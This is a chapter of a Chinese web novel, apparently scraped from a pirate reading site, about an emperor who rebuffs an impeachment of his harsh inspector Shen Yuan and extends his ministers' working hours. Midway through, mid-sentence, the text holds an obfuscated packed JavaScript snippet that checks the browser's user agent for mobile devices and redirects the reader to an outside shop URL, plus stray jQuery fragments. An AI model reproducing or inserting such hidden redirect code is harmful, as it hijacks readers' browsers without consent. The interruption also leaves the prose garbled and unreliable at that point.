默认冷灰
24号文字
方正启体

77. 酷吏的养成系主公

作者:九月清明雨本书字数:K更新时间:
    许清的身影隐入夜色,像一滴浓墨无声地融进了砚台里。


    营帐内的空气似乎凝滞了片刻。


    算盘珠子撞击的声音再次响起来,只是比起先前的急促,现在的节奏显得有些迟缓,甚至透着几分机械。


    裴度盯着黑板上那个用石灰写下的数字,喉咙有些发紧。


    二百万两。


    这不仅仅是一笔账目。


    在他看来,这更像是一封直接拍在幽州守将脸上的战书,逼着那群手里握着刀把子的丘八,要么低头认栽,要么鱼死网破。


    “大人。”


    裴度走到沈怨身侧,压低了声音,心里那种不踏实的感觉越来越重。


    “我们……真的要做到这一步?”


    沈怨正低头擦拭着手指上沾染的白色粉末,动作很慢,也很仔细。


    听到这话,她连眼皮都没抬一下。


    “不然呢?”


    她的语气平淡,像是在讨论今晚的月色。


    “等着他们整顿好兵马,挑个风高黑夜,把我们这几十号人的脑袋打包,当成土特产送回京城?”


    她随手将擦手的布巾丢在一旁,径直走到那堆半人高的账册前。


    “裴度,你得明白一件事。”


    “在这阎王殿里,只有两种人:一种是拿着笔的判官,一种是等着画押的鬼。”


    她随手抽出一本账册,看也不看,反手扔给了不远处一位神情恍惚的官员。


    “王翰林,这是景泰二年幽州军械采买录。”


    “半个时辰。”


    沈怨的声音不大,却清晰地钻进每个人的耳朵里。


    “我要看到里面的亏空总额。”


    那位姓王的翰林手忙脚乱地接住账册,差点没抱稳。


    他抬起头,嘴唇动了动,似乎想辩解两句,比如他已经两天没合眼了,又比如这根本不是翰林院的活计。


    可当他对上沈怨那双平静得近乎漠然的眼睛时,到了嘴边的话又硬生生咽了回去。


    他只是默默地坐回案前,手指有些僵硬地拨动起算盘。


    营帐里,除了算盘声,便只剩下烛火爆裂的轻响。


    这些平日里在京城养尊处优的文官们,此刻心里大多都冒出一个念头。


    他们上的恐怕不是什么查案的船。


    他们是被绑在了一捆即将被点燃的火药桶上。


    而那个拿着火折子的人,就站在他们中间,冷静地计算着这火药炸开后,能崩掉对面几颗牙。


    ……


    三日后,京城。


    一封来自北境的匿名信,悄无声息地出现在了都察院左都御史张海的书案上。


    张海此人,在大周官场有个诨号叫“活炮仗”,平日里最见不得沙子,便是当朝宰相李半,若是行差踏错,他也敢当面顶撞。


    他展开信纸,眉头越皱越紧。


    信上的字迹有些潦草,似乎书写之人在极度的愤懑或恐惧中难以自持。


    “……日夜驱使百官,视同牛马,稍有懈怠,便遭呵斥……”


    “……为求政绩,竟以十名斥候之死为由,勒索幽州二百万两,此举无异于逼反边军……”


    “……行事乖张,手段酷烈,全无朝廷体面……”


    信的末尾没有署名,只有一个暗红色的指印,看着有些触目惊心。


    张海捏着信纸的手指微微发白。


    他仿佛能看到那个叫沈怨的年轻人,正提着屠刀,将大周的官场规矩践踏得粉碎。


    身为清流,职责所在,便是匡扶社稷,弹劾奸佞。


    若对此视而不见,他张海还有何面目立于朝堂?


    次日,大朝会。


    金銮殿上的气氛,比往日都要沉闷几分。


    张海手持玉笏,从百官队列中一步跨出,声音洪亮,在大殿内回荡。


    “臣,都察院左都御史张海,有本启奏!”


    “臣要弹劾巡查御史沈怨,十大罪!”


    他依据那封信的内容,结合《大周律》中的条款,一条条地列举出来。


    “其一,无视君臣之礼,折辱朝廷命官,有违《职官律》!”


    “其二,贪酷无度,借查案之名,行敲诈勒索之实!”


    “其三,擅开边衅,以二百万两之巨额,威逼幽州,恐激生民变,动摇国本!”


    ……


    每一条罪状念出来,都像是一记重锤砸在金砖上。


    朝堂上响起一阵低低的议论声。


    不少官员互相对视一眼,眼底多少带了些幸灾乐祸的意味。


    沈怨这条疯狗,这次恐怕是真的咬到铁板上了。


    站在百官之首的李半,虽然还在病假中,却被强行召来上朝。他脸色依旧苍白,只是在听到张海的弹劾时,垂在袖中的手指微微松开了些。


    他没说话。


    这种时候,沉默是最好的推手。


    他只需要静静地看着那把皇帝亲手磨快的刀,是如何因为太过锋利,而伤到握刀人的手。


    所有人的目光,有意无意地飘向了龙椅。


    萧策坐在高处,脸上看不出什么情绪。


    他没有看激昂陈词的张海,也没有看深沉莫测的李半,目光反而在人群中转了一圈,落在了户部尚书钱德光的身上。


    “钱尚书。”


    被点到名的钱德光身子一抖,连忙出列跪下。


    “臣在。”


    “朕问你,户部如今的账,理得怎么样了?”


    钱德光额头上瞬间渗出一层细密的汗珠。


    这个问题,比张海的弹劾还要让他难受。


    “回……回陛下,沈大人离京前,留下了一套新的‘复式记账法’,臣等正在全力研习……只是……”


    “只是什么?”


    “只是此法太过精妙繁杂,臣等愚钝,即便每日从卯时算到子时,也只能勉强跟上进度,实在……实在是分身乏术啊!”


    钱德光说着,声音里带了哭腔,这倒不全是演戏,确实是这些日子被那堆数字折磨得够呛。


    他身后的几个户部官员,也是一个个眼圈发黑,感同身受地点头。


    萧策听完,点了点头,没再追问。


    他的目光又转向另一侧。


    “工部呢?”


    工部尚书苦着一张脸出列,那表情比哭还难看。


    “陛下,臣等已经七日未曾好好歇息了。沈大人留下的那些核算公式,晦涩难懂如天书,臣……臣部里已经有两位主事,因为算错账目,急火攻心,晕厥在案前了!”


    萧策的目光在殿中缓缓扫过。


    他看到了那些官员脸上藏不住的疲惫,也听出了他们言语间那种难以掩饰的怨气。


    整个朝堂,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239790|197673||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    似乎都因为一个远在千里之外的沈怨,变得鸡飞狗跳。


    最后,他的目光重新回到了张海身上。


    “张爱卿。”


    “臣在!”


    张海挺直了胸膛,他觉得自己的仗义执言,已经得到了所有“受害者”的共鸣,此刻正是乘胜追击的好时候。


    “你刚才说,”萧策的语气很平静,“沈怨驱使百官如牛马,日夜不休,对吗?”


    “千真万确!此等酷吏行径,古来罕有!若不严惩,恐寒了天下士子的心!”


    “好。”


    萧策点了点头,嘴角忽然勾起一个浅淡的弧度,那笑意却未达眼底。


    “那朕倒要问问诸位爱卿。”


    他的声音陡然拔高,在金殿内嗡嗡作响。


    “过去十年,我大周的国库亏空了多少?”


    “北境的军饷拖欠了多久?”


    “工部的河堤修了几年,为什么到现在还没修好?”


    “那个时候,你们在哪里?”


    萧策站起身,一步步走下御阶。


    龙袍的下摆扫过冰冷的金砖地面,发出细微的沙沙声。


    每一步,都像是踩在百官紧绷的心弦上。


    “当沈怨一个人,带着几十个文官,在北境的寒风里通宵达旦算账的时候,你们又在做什么?”


    “你们在温暖的府邸里,喝着热茶,听着小曲,然后指责那个唯一在干活的人,说他干得太快,太狠,太不体面?”


    他走到张海面前,居高临下地看着这位老臣。


    “朕用的人,朕清楚他是什么德性。”


    “朕就是要用他的‘酷’,来治你们的‘懒’。”


    “朕就是要用他的‘贪’,来填国库的‘贪’。”


    萧策的声音冷得像冰,透着一股不容置疑的威压。


    “你弹劾他酷烈?好,朕告诉你,从今天起,户部、工部、吏部,三部衙门,每日办公时辰,延长两个时辰!”


    “谁要是再敢上书言说辛苦,就收拾铺盖,亲自去北境,替沈爱卿算账!”


    整个金銮殿,陷入了一片死一般的寂静。


    所有人都懵了。


    这剧本不对啊。


    张海张着嘴,脸色由红转白,再由白转青,喉咙里像是堵了一团棉花,半个字也说不出来。


    他原本以为自己是在为百官请命,没想到反倒成了给百官加码的推手。


    李半原本微微松弛的身体,再次紧绷起来,袖中的手掌猛地握紧,指节捏得咯咯作响。


    萧策没有理会这些人的反应,他转过身,对身旁的大太监赵高吩咐道:


    “传朕旨意。”


    赵高连忙躬身,腰弯得极低,声音都在发颤。


    “着翰林院编撰《大周勤勉录》,将沈怨北巡事迹,列为开篇第一章,昭告天下。”


    “另,从内库拨出一批上好的鹿茸、虎骨、千年参,八百里加急,送往北境。”


    萧策重新走上御阶,坐回那张象征着至高权力的龙椅。


    他的目光扫过下方那一张张呆若木鸡的脸,最后落在虚空中的某一点,声音里带着一丝意味深长的决断。


    “告诉沈爱卿,让他务必保重身体。”


    他顿了顿,手指轻轻敲击着扶手。


    “这头为朕耕地的牛,要是累坏了,朕拿他们是问。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)